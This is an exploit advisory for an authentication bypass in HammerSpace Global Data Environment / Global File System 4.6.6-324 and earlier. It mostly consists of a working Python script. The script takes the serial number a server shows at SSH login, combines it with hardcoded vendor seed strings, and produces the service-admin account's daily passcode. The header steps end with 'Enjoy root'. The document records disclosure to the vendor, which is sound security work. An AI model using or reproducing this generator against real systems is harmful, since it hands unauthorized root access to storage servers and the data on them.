HammerSpace GDE / GFS 4.6.6-324 Authentication Bypass

`# Affected Product: HammerSpace Global Data Environment / Global File System -  
# https://hammerspace.com/product  
#   
# Affected Versions: v4.6.6-324 and below with default installation/configuration.  
#   
# Vendor Notified: Yes, sometime between: 08/2022 and 10/2022, confirmed 2023-03-21 there is a fix in  
# an upcoming release  
#   
# Description:  
#  
# A utility that can generate the TOTP passcode used to sign In as the support service  
# account user for HammerSpace GFS default installations. Both the OVA and ISO are effected.  
#   
# To utilize:  
#   
# 1. Attempt SSH login to a HammerSpace Anvil or Data Server and make note of the System S/N  
# 2. Generate the password of the day for the service admin account:  
# ./hsps-passgen.py —serials SERIALNUMBER  
# 3. SSH as the service admin account to the server and specify the outputted TOTP passcode  
# 4. Enjoy root  
#   
#   
#!/usr/bin/env python3  
import argparse, getpass, os, random, string, sys  
from datetime import datetime  
from random import Random  
  
#make it python3 compatible thanks for changing random guys!  
class HSRandom(Random):  
def seed(self, seed):  
if sys.version_info[0] == 3:  
return super(HSRandom,self).seed(seed,version=1)  
else:  
return super(HSRandom,self).seed(seed)  
def choice(self, seq):  
if sys.version_info[0] == 3:  
"""Choose a random element from a non-empty sequence."""  
return seq[int(super(HSRandom,self).random() * len(seq))] # raises IndexError if seq is empty  
else:  
return super(HSRandom, self).choice(seq)  
  
VERSION = "hspc-passgen v4.3.2"  
USAGE_DESC = "No help."  
PARSER = argparse.ArgumentParser(prog="hspc-passgen", description="Generates time of day passcode for serviceadmin account used by Hammerspace")  
PARSER.add_argument("-V", "--version", action="store_true", help="Prints version")  
PARSER.add_argument("--debug", action="store_true", help="Debug Output")  
PARSER.add_argument("--pwtype", type=int, default=3, choices=[2,3], help="Password type")  
PARSER.add_argument("--datecode", type=str, default=datetime.now().strftime("%F"), help="Date Code")  
PARSER.add_argument("--serials", type=str, nargs="+", required=True, help="Reported serial number(s) from ssh: serviceadmin@host")  
ARGS = PARSER.parse_args()  
  
def exc_handler(exception_type, exception, traceback, debug_hook=sys.excepthook):  
if ARGS.debug:  
debug_hook(exception_type, exception, traceback)  
else:  
print("%s: %s" % (exception_type.__name__, exception))  
sys.exit(1)  
  
  
sys.excepthook = exc_handler  
  
def generate_password_v2(seed_str, _, length=8):  
"""Generate a simple password seeded with supplied text"""  
serial = seed_str[-5:].lower()  
collapsed = ("").join(disambiguate(x) for x in serial)  
chars = string.digits  
seed = "<~^~^~^Mr.Oftal_P^~^~^~>" + collapsed  
hs_random = HSRandom(seed)  
return ("").join(hs_random.choice(chars) for i in range(length))  
  
  
def generate_password_v3(seed_str, datecode, length=10):  
"""Generate a stronger password seeded with supplied text"""  
serial = seed_str[-8:].lower()  
collapsed = ("").join(disambiguate_v3(x) for x in serial)  
chars = string.digits  
seed = datecode + "z97eoW8tVn3daG833DN83wY8" + collapsed  
hs_random = HSRandom(seed)  
return ("").join(hs_random.choice(chars) for i in range(length))  
  
  
def generate_password(seed_str, datecode, pwtype=3):  
return globals()[("generate_password_v" + str(pwtype))](seed_str, datecode)  
  
  
def disambiguate(char):  
"""Substitute ambiguous characters with non-ambiguous ones"""  
char = str(char)  
if char in ("1", "I", "!", "|"):  
dis = "l"  
elif char in ("D", "Q", "O", "0"):  
dis = "o"  
elif char in ("3", "B", "8", "6"):  
dis = "b"  
elif char in ("5", "S", "$"):  
dis = "s"  
elif char in ("A", "4"):  
dis = "a"  
elif char in ("V", "U"):  
dis = "u"  
elif char in ("M", "W"):  
dis = "m"  
elif char in ("C", "("):  
dis = "c"  
else:  
dis = char  
return dis  
  
  
def disambiguate_v3(char):  
"""Substitute ambiguous characters with non-ambiguous ones"""  
char = str(char)  
if char in ("L", "1", "I"):  
dis = "l"  
elif char in ("Q", "O", "0"):  
dis = "o"  
elif char in ("B", "8"):  
dis = "b"  
elif char in ("5", "S"):  
dis = "s"  
elif char in ("V", "U"):  
dis = "u"  
else:  
dis = char  
return dis  
  
def main():  
if ARGS.version:  
print(VERSION)  
return 0  
if ARGS.pwtype not in (2, 3):  
print("\nERROR: Invalid parameters.\n")  
PARSER.print_help()  
return 1  
if ARGS.serials is None or len(ARGS.serials) == 0:  
print("\nERROR: Invalid parameters.\n")  
PARSER.print_help()  
return 1  
print("SERIAL - PASSCODE")  
for serial in ARGS.serials:  
print(f"{serial} - {generate_password(serial, datecode=ARGS.datecode, pwtype=ARGS.pwtype)}")  
  
if __name__ == "__main__":  
sys.exit(main())  
`